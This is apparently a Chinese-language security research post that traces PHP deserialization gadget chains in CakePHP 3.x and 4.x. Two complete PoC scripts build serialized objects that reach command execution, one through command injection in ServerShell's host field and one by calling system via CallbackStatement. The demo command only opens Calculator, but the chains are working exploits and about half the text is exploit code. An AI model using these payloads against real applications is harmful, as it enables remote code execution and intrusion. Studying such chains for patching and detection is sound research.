最近网上公开了cakephp一些反序列化链的细节,但是没有公开poc,并且网上关于cakephp的反序列化链比较少,于是自己跟一下 ,构造pop链。
CakePHP是一个运用了诸如ActiveRecord、Association Data Mapping、Front Controller和MVC等著名设计模式的快速开发框架。该项目主要目标是提供一个可以让各种层次的PHP开发人员快速地开发出健壮的Web应用,而又不失灵活性。
入口位于vendor\symfony\process\Process.php
的__destruct方法
在一些老版本中,__destruct方法是这样的:
跟进stop方法:
跟进isRunning方法:
$this->status
可控,可以继续进入updateStatus方法,让其等于"started"
即可
继续跟进readPipes方法:
发现$this->processPipes
可控且调用readAndWrite
方法,这样就我们可以调用任意类的__call
方法
全局搜索,找到vendor\cakephp\cakephp\src\ORM\Table.php
有合适的__call
方法:
这里的$this->_behaviors
也可控,到这里我们就可以调用任意类的call
方法了
继续寻找,在vendor\cakephp\cakephp\src\ORM\BehaviorRegistry.php
找到了合适的call
方法:
这里就可以调用任意类的任意方法了,但是参数不可控
再来看看进入call_user_func_array
的条件:
这里的$method
就是之前触发__call
的readAndWrite
方法
跟进hasMethod方法,$this->_methodMap
可控,所以可以使其返回true
再来看看has方法,是在父类ObjectRegistry
中定义的,$this->_loaded
也可控
所以条件成立,可以利用回调函数调用任意方法
接下来找到不需要参数的合适方法:
位于vendor\cakephp\cakephp\src\Shell\ServerShell.php
的main方法
执行的命令由可控参数$this->_host、$this->_port
等拼接而成,我们可以利用分号进行命令注入
但是由于前面的php -S
命令,在windows下没有php环境变量可能无法利用
在执行命令之前,还得先让两个$this->out
方法正常返回,否则会报错退出
一路跟进来到vendor\cakephp\cakephp\src\Console\ConsoleIo.php
这里的$level
为1,我们只需要让$this->_level
小于1即可使其返回true
到这里就可以执行系统命令了
poc:
- namespace Cake\Core;
- abstract class ObjectRegistry
- {
- public $_loaded = [];
- }
-
-
- namespace Cake\ORM;
- class Table
- {
- public $_behaviors;
- }
-
- use Cake\Core\ObjectRegistry;
- class BehaviorRegistry extends ObjectRegistry
- {
- public $_methodMap = [];
- protected function _resolveClassName($class){}
- protected function _throwMissingClassError($class, $plugin){}
- protected function _create($class, $alias, $config){}
- }
-
-
- namespace Cake\Console;
- class Shell
- {
- public $_io;
- }
-
- class ConsoleIo
- {
- public $_level;
- }
-
- namespace Cake\Shell;
- use Cake\Console\Shell;
- class ServerShell extends Shell
- {
- public $_host;
- protected $_port = 0;
- protected $_documentRoot = "";
- protected $_iniPath = "";
- }
-
-
- namespace Symfony\Component\Process;
- use Cake\ORM\Table;
- class Process
- {
- public $processPipes;
- }
-
-
- $pop = new Process([]);
- $pop->status = "started";
- $pop->processPipes = new Table();
- $pop->processPipes->_behaviors = new \Cake\ORM\BehaviorRegistry();
- $pop->processPipes->_behaviors->_methodMap = ["readandwrite"=>["servershell","main"]];
- $a = new \Cake\Shell\ServerShell();
- $a->_io = new \Cake\Console\ConsoleIo();
- $a->_io->_level = 0;
- $a->_host = ";open /System/Applications/Calculator.app;";
- $pop->processPipes->_behaviors->_loaded = ["servershell"=>$a];
-
- echo base64_encode(serialize($pop));
4.x版本前半部分的整体思路和3.x基本一样,部分代码有变动
4.x版本ServerShell
类修改了,没有之前一样好用的方法了
寻找新的调用链:
在vendor\cakephp\cakephp\src\Database\Statement\CallbackStatement.php
这里有动态调用,方法名可控,参数$row
通过$this->_statement->fetch($type)
获得
于是寻找可用的fetch
方法
在vendor\cakephp\cakephp\src\Database\Statement\BufferedStatement.php
有合适的方法:
这里$this->buffer、$this->index、$this->_allFetched
参数均可控,可以返回我们指定的$row
值
于是可以达成任意方法执行,直接指定system执行系统命令
poc:
- namespace Cake\Core;
- abstract class ObjectRegistry
- {
- public $_loaded = [];
- }
-
-
- namespace Cake\ORM;
- class Table
- {
- public $_behaviors;
- }
-
- use Cake\Core\ObjectRegistry;
- class BehaviorRegistry extends ObjectRegistry
- {
- public $_methodMap = [];
- protected function _resolveClassName(string $class): ?string{
- return $class;
- }
- protected function _throwMissingClassError(string $class, ?string $plugin): void{}
- protected function _create($class, $alias, $config){}
- }
-
-
- namespace Cake\Database\Statement;
- class StatementDecorator {
- public $_statement;
- }
-
- class CallbackStatement extends StatementDecorator
- {
- public $_callback;
- }
-
- class BufferedStatement
- {
- public $_allFetched;
- public $buffer = [];
- protected $index = 0;
- }
-
-
- namespace Symfony\Component\Process;
- use Cake\ORM\Table;
- class Process
- {
- public $processPipes;
- }
-
-
- $pop = new Process([]);
- $pop->status = "started";
- $pop->processPipes = new Table();
- $pop->processPipes->_behaviors = new \Cake\ORM\BehaviorRegistry();
- $pop->processPipes->_behaviors->_methodMap = ["readandwrite"=>["callbackstatement","fetch"]];
- $a = new \Cake\Database\Statement\CallbackStatement($statement, $driver,"");
- $a->_callback = "system";
- $a->_statement = new \Cake\Database\Statement\BufferedStatement($statement, $driver);
- $a->_statement->_allFetched = true;
- $a->_statement->buffer = ["open /System/Applications/Calculator.app"];
- $pop->processPipes->_behaviors->_loaded = ["callbackstatement"=>$a];
-
- echo base64_encode(serialize($pop));